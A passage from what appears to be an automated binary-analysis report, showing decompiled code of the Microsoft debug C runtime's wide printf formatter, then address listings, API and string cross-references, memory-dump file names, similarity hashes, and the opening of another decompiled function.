																	E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00429820(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00437DD0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00437D60( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														__eflags =  *(_t600 - 0x28);
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L00427590();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L004256E0(_t546))) = 0x16;
										E00428500(_t546, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E00423760(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							__eflags =  *(_t600 - 0x45c);
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								__eflags =  *(_t600 - 0x4bc);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L00427590();
									_t603 = _t603 + 0x14;
									__eflags = _t491 - 1;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								__eflags =  *(_t600 - 0x4bc);
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E00423760(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L004256E0(_t538))) = 0x16;
									E00428500(_t538, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E00423760(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							__eflags =  *(_t600 - 0x45c) - 7;
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
						__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E00423760(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E00425740(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					__eflags =  *(_t600 - 0x10) & 0x00000020;
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0042a0ca
0x0042a0ca
0x0042a0ca
0x0042a0ce
0x0042a0d3
0x0042a0d6
0x0042a0e3
0x00000000
0x00000000
0x0042a0e9
0x0042a0e9
0x0042a0e9
0x0042a0eb
0x0042a0f9
0x0042a0ed
0x0042a0ed
0x0042a0ed
0x0042a103
0x0042a109
0x0042a10f
0x0042a116
0x0042a118
0x0042a11d
0x0042a11f
0x0042a124
0x0042a129
0x0042a12b
0x0042a130
0x0042a133
0x0042a136
0x0042a138
0x0042a138
0x0042a136
0x0042a139
0x0042a140
0x0042a188
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x0042a684
0x0042a687
0x0042a68a
0x0042a68f
0x0042a694
0x0042a6ab
0x0042a6ae
0x0042a6c5
0x0042a6c8
0x0042a6cf
0x0042a6d3
0x0042a6d3
0x0042a6b0
0x0042a6b5
0x0042a6b9
0x0042a6b9
0x0042a696
0x0042a69b
0x0042a69f
0x0042a69f
0x0042a694
0x0042a6e3
0x0042a6ec
0x0042a6ef
0x0042a705
0x0042a70a
0x0042a70a
0x0042a720
0x0042a725
0x0042a72b
0x0042a72e
0x0042a733
0x0042a736
0x0042a74c
0x0042a751
0x0042a751
0x0042a736
0x0042a754
0x0042a758
0x0042a812
0x0042a825
0x0042a82a
0x00000000
0x0042a75e
0x0042a75e
0x0042a75e
0x0042a762
0x00000000
0x00000000
0x0042a768
0x0042a76b
0x0042a774
0x0042a77a
0x0042a77a
0x0042a789
0x0042a78f
0x0042a791
0x00000000
0x00000000
0x0042a793
0x0042a796
0x0042a7bb
0x0042a7c0
0x0042a7c3
0x0042a7c9
0x0042a7d0
0x0042a7de
0x0042a7f1
0x0042a7f6
0x0042a805
0x00000000
0x0042a805
0x0042a7d2
0x0042a7d2
0x00000000
0x0042a7d2
0x0042a810
0x0042a82d
0x0042a82d
0x0042a834
0x0042a839
0x0042a83c
0x0042a852
0x0042a857
0x0042a857
0x0042a83c
0x0042a834
0x0042a85a
0x0042a85a
0x0042a85e
0x0042a866
0x0042a86b
0x0042a86e
0x0042a86e
0x0042a875
0x0042a875
0x004299fb
0x00429a02
0x00429a0f
0x00429a14
0x00000000
0x00429a27
0x00429a31
0x00429a58
0x00429a3f
0x00429a50
0x00429a50
0x00429a31
0x00429a62
0x00429a68
0x00429a74
0x00429a77
0x00429a85
0x00429a88
0x00429a95
0x00429b3a
0x00429b40
0x00429b46
0x00429b4d
0x00000000
0x00000000
0x00429b53
0x00429b59
0x00000000
0x00429b60
0x00429b60
0x00429b7a
0x00429b7f
0x00000000
0x00000000
0x00429b87
0x00429b87
0x00429b8e
0x00429b91
0x00429b94
0x00429b97
0x00429b9a
0x00429b9d
0x00429ba0
0x00429ba7
0x00429bae
0x00000000
0x00000000
0x00429bba
0x00429bba
0x00429bc1
0x00429bcd
0x00429bd0
0x00429bd6
0x00429bdd
0x00000000
0x00000000
0x00429bdf
0x00429be5
0x00429be5
0x00429bec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429c30
0x00429c30
0x00429c37
0x00429c3a
0x00429c64
0x00429c67
0x00429c67
0x00429c71
0x00429c71
0x00429c75
0x00429c3c
0x00429c3c
0x00429c48
0x00429c4b
0x00429c4f
0x00429c51
0x00429c54
0x00429c54
0x00429c57
0x00429c5a
0x00429c5d
0x00429c5f
0x00429c5f
0x00429c62
0x00429c78
0x00000000
0x00000000
0x00429c7d
0x00429c7d
0x00000000
0x00000000
0x00429c89
0x00429c89
0x00429c90
0x00429c93
0x00429cb3
0x00429cb6
0x00429cb6
0x00429cc0
0x00429cc0
0x00429cc4
0x00429c95
0x00429c95
0x00429ca1
0x00429ca4
0x00429ca8
0x00429caa
0x00429caa
0x00429cb1
0x00000000
0x00000000
0x00429ccc
0x00429ccc
0x00429cd3
0x00429cdf
0x00429ce2
0x00429ce8
0x00429cef
0x00429e02
0x00000000
0x00429e02
0x00429cf5
0x00429cfb
0x00429cfb
0x00429d02
0x00000000
0x00429d39
0x00429d39
0x00429d3c
0x00429d3f
0x00429d42
0x00429d69
0x00429d69
0x00429d6c
0x00429d6f
0x00429d72
0x00429d96
0x00429d96
0x00429d99
0x00429d9c
0x00429d9f
0x00429dd8
0x00429de9
0x00000000
0x00429de9
0x00429da1
0x00429da1
0x00429da4
0x00429da7
0x00429daa
0x00000000
0x00000000
0x00429dac
0x00429dac
0x00429daf
0x00429db2
0x00429db5
0x00000000
0x00000000
0x00429db7
0x00429db7
0x00429dba
0x00429dbd
0x00429dc0
0x00000000
0x00000000
0x00429dc2
0x00429dc2
0x00429dc5
0x00429dc8
0x00429dcb
0x00000000
0x00000000
0x00429dcd
0x00429dcd
0x00429dd0
0x00429dd3
0x00429dd6
0x00429dda
0x00000000
0x00429dda
0x00000000
0x00429dd6
0x00429d74
0x00429d74
0x00429d77
0x00429d7b
0x00429d7e
0x00000000
0x00429d80
0x00429d83
0x00429d86
0x00429d8c
0x00429d91
0x00000000
0x00429d91
0x00429d7e
0x00429d44
0x00429d44
0x00429d47
0x00429d4b
0x00429d4e
0x00000000
0x00429d50
0x00429d53
0x00429d56
0x00429d5c
0x00429d61
0x00000000
0x00429d61
0x00000000
0x00429deb
0x00429deb
0x00429dee
0x00429df1
0x00000000
0x00000000
0x00429d09
0x00429d09
0x00429d0c
0x00429d0f
0x00429d12
0x00429d2b
0x00429d2e
0x00429d2e
0x00429d31
0x00429d14
0x00429d14
0x00429d17
0x00429d1a
0x00429d20
0x00429d26
0x00429d26
0x00000000
0x00000000
0x00429df6
0x00429df6
0x00429df9
0x00429df9
0x00429dff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429e07
0x00429e07
0x00429e0e
0x00429e14
0x00429e1a
0x00429e1d
0x00429e23
0x00429e2a
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a631
0x0042a637
0x0042a63a
0x0042a63d
0x0042a640
0x0042a643
0x0042a649
0x0042a649
0x0042a649
0x0042a651
0x0042a655
0x00000000
0x00000000
0x0042a657
0x0042a657
0x0042a65a
0x0042a65d
0x0042a65d
0x0042a662
0x0042a665
0x0042a668
0x0042a66b
0x0042a66e
0x0042a671
0x0042a674
0x0042a674
0x0042a677
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00429e30
0x00429e36
0x00429e36
0x00429e3d
0x00000000
0x0042a1c1
0x0042a1c1
0x0042a1cf
0x0042a1cf
0x0042a1d2
0x00000000
0x00000000
0x00429e44
0x00429e47
0x00429e47
0x00429e4d
0x00429e4f
0x00429e52
0x00429e52
0x00429e55
0x00429e55
0x00000000
0x00000000
0x00429f8a
0x00429f8d
0x00429f8d
0x00429f92
0x00429f94
0x00429f97
0x00429f97
0x00429f9a
0x00429f9a
0x00000000
0x00000000
0x0042a387
0x0042a387
0x00000000
0x00000000
0x00429ef4
0x00429ef4
0x00429f00
0x00429f06
0x00429f0d
0x00429f1b
0x00429f1b
0x00429f21
0x00429f24
0x00429f30
0x00429f85
0x00000000
0x00429f85
0x00429f0f
0x00429f0f
0x00429f15
0x00429f19
0x00429f38
0x00429f38
0x00429f3e
0x00429f66
0x00429f6d
0x00429f73
0x00429f76
0x00429f79
0x00429f7f
0x00429f82
0x00429f40
0x00429f40
0x00429f46
0x00429f49
0x00429f4c
0x00429f52
0x00429f55
0x00429f58
0x00429f5a
0x00429f5d
0x00429f5d
0x00000000
0x00429f3e
0x00000000
0x00000000
0x0042a1d9
0x0042a1dc
0x0042a1df
0x0042a1e2
0x0042a1e8
0x0042a1eb
0x0042a1f2
0x0042a1f6
0x0042a201
0x0042a201
0x0042a205
0x0042a21c
0x0042a21c
0x0042a223
0x0042a225
0x0042a225
0x0042a22c
0x0042a22c
0x0042a233
0x0042a241
0x0042a244
0x0042a253
0x0042a256
0x0042a25a
0x0042a26f
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a265
0x0042a26a
0x0042a26a
0x0042a25a
0x0042a279
0x0042a27c
0x0042a27f
0x0042a282
0x0042a285
0x0042a288
0x0042a28e
0x0042a294
0x0042a29c
0x0042a29d
0x0042a2a0
0x0042a2a1
0x0042a2a4
0x0042a2a5
0x0042a2ac
0x0042a2ad
0x0042a2b0
0x0042a2b1
0x0042a2b4
0x0042a2b5
0x0042a2bb
0x0042a2bc
0x0042a2c2
0x0042a2c3
0x0042a2c9
0x0042a2cb
0x0042a2d1
0x0042a2d1
0x0042a2d6
0x0042a2d8
0x0042a2dc
0x0042a2de
0x0042a2e1
0x0042a2e6
0x0042a2e7
0x0042a2ea
0x0042a2eb
0x0042a2f1
0x0042a2f2
0x0042a2f8
0x0042a2fa
0x0042a2fa
0x0042a2dc
0x0042a2fd
0x0042a304
0x0042a307
0x0042a30c
0x0042a30c
0x0042a312
0x0042a314
0x0042a31c
0x0042a31d
0x0042a320
0x0042a321
0x0042a326
0x0042a327
0x0042a32d
0x0042a32f
0x0042a32f
0x0042a312
0x0042a332
0x0042a335
0x0042a338
0x0042a33b
0x0042a340
0x0042a345
0x0042a348
0x0042a34b
0x0042a34b
0x0042a34e
0x0042a34e
0x0042a351
0x0042a35d
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a67a
0x0042a207
0x0042a207
0x0042a20e
0x0042a211
0x00000000
0x00000000
0x0042a213
0x0042a213
0x00000000
0x0042a213
0x0042a1f8
0x0042a1f8
0x00000000
0x00000000
0x00429e58
0x00429e58
0x00429e63
0x00429e6b
0x00429e72
0x00429e75
0x00429e75
0x00429e78
0x00429ed8
0x00429e7a
0x00429e81
0x00429e87
0x00429e8d
0x00429e94
0x00429e97
0x00429e9d
0x00429ea5
0x00429ea7
0x00429eae
0x00429eb5
0x00429ebc
0x00429ec4
0x00429ec6
0x00429ec8
0x00429ec8
0x00429ecf
0x00429edf
0x00429ee5
0x00429ee8
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a365
0x0042a368
0x0042a36b
0x0042a36e
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a3ce
0x0042a3ce
0x0042a3d8
0x0042a3d8
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x00000000
0x00000000
0x0042a380
0x0042a380
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x0042a377
0x0042a377
0x00000000
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x0042a3ec
0x0042a3ef
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4a8
0x0042a4ac
0x0042a4b4
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a48d
0x0042a491
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a467
0x0042a473
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44b
0x0042a44f
0x0042a457
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a41e
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3f6
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c5
0x0042a4c8
0x0042a50a
0x0042a50a
0x0042a510
0x0042a516
0x0042a51c
0x00000000
0x0042a4ca
0x0042a4ca
0x0042a4ca
0x0042a4d1
0x00000000
0x00000000
0x0042a4d3
0x0042a4d3
0x0042a4de
0x0042a4e4
0x0042a4e6
0x0042a4ec
0x0042a4ef
0x0042a4f1
0x0042a4f7
0x0042a500
0x0042a505
0x0042a522
0x0042a525
0x0042a525
0x0042a52a
0x0042a52f
0x0042a52f
0x0042a535
0x0042a537
0x0042a53d
0x0042a543
0x0042a543
0x0042a54c
0x0042a54c
0x0042a535
0x0042a552
0x0042a556
0x0042a564
0x0042a567
0x0042a56a
0x0042a571
0x0042a573
0x0042a573
0x0042a558
0x0042a558
0x0042a558
0x0042a580
0x0042a580
0x0042a586
0x0042a588
0x0042a588
0x0042a58f
0x0042a595
0x0042a598
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x0042a5a8
0x0042a5ae
0x0042a5ae
0x0042a5b4
0x00000000
0x00000000
0x0042a5b6
0x0042a5b6
0x0042a5b9
0x0042a5bc
0x0042a5c3
0x0042a5ca
0x0042a5d2
0x0042a5d8
0x0042a5db
0x0042a5de
0x0042a5e5
0x0042a5f1
0x0042a5f7
0x0042a5fd
0x0042a604
0x0042a606
0x0042a60c
0x0042a60c
0x0042a612
0x0042a612
0x0042a618
0x0042a621
0x0042a626
0x0042a629
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x00000000
0x0042a5a6
0x0042a598
0x0042a4d5
0x0042a4d5
0x0042a4dc
0x00000000
0x00000000
0x00000000
0x0042a4dc
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x00000000
0x00429b2f
0x00429af2
0x00429a95
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a142
0x0042a142
0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x0042a93e
0x0042a94b
0x0042a94b
0x0042a18d
0x0042a190
0x0042a193
0x0042a1b3
0x0042a195
0x0042a1a2
0x0042a1a2
0x0042a1b5
0x00000000
0x0042a1b5

APIs

_get_int_arg.LIBCMTD ref: 0042A0CE
__get_printf_count_output.LIBCMTD ref: 0042A0DC
__invalid_parameter.LIBCMTD ref: 0042A163
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042A178
_write_multi_char.LIBCMTD ref: 0042A705
_write_multi_char.LIBCMTD ref: 0042A74C
__mbtowc_l.LIBCMTD ref: 0042A7BB

Strings

("Incorrect format specifier", 0), xrefs: 00429ACA, 00429B10
_woutput_s_l, xrefs: 00429B0B, 0042A159
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00429AD6, 00429B06, 0042A124, 0042A154
("'n' format specifier disabled", 0), xrefs: 0042A118, 0042A15E

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2682298449-1989478660
Opcode ID: e747e91352d656f2edffe1bc246aaf1b6de7c310e8684c5d17421c95d7325563
Instruction ID: 103a7d4baffc34a31c382b0424e479745c32d983a11a4cf4c502396bd192fdbe
Opcode Fuzzy Hash: e747e91352d656f2edffe1bc246aaf1b6de7c310e8684c5d17421c95d7325563
Instruction Fuzzy Hash: 89A193F1E002299BDF24DF45DC85BAEB374AB44304F5480DAEA096B281D7789E94CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00420312, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00420312(int __eax) {
				void* _t55;
				short* _t61;
				signed int _t62;
				signed int _t63;
				void* _t64;
				void* _t65;
				signed int _t67;
				int _t70;
				int _t72;
				signed int _t79;
				void* _t85;
				void* _t86;
				short* _t102;
				char* _t105;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t121;
				void* _t122;

				 *(_t115 - 8) = __eax;
				_t87 =  *(_t115 - 8);
				_t55 = E00425560( *(_t115 - 8),  *(_t115 - 8));
				_t119 = _t117 + 8;
				if(_t55 != 1) {
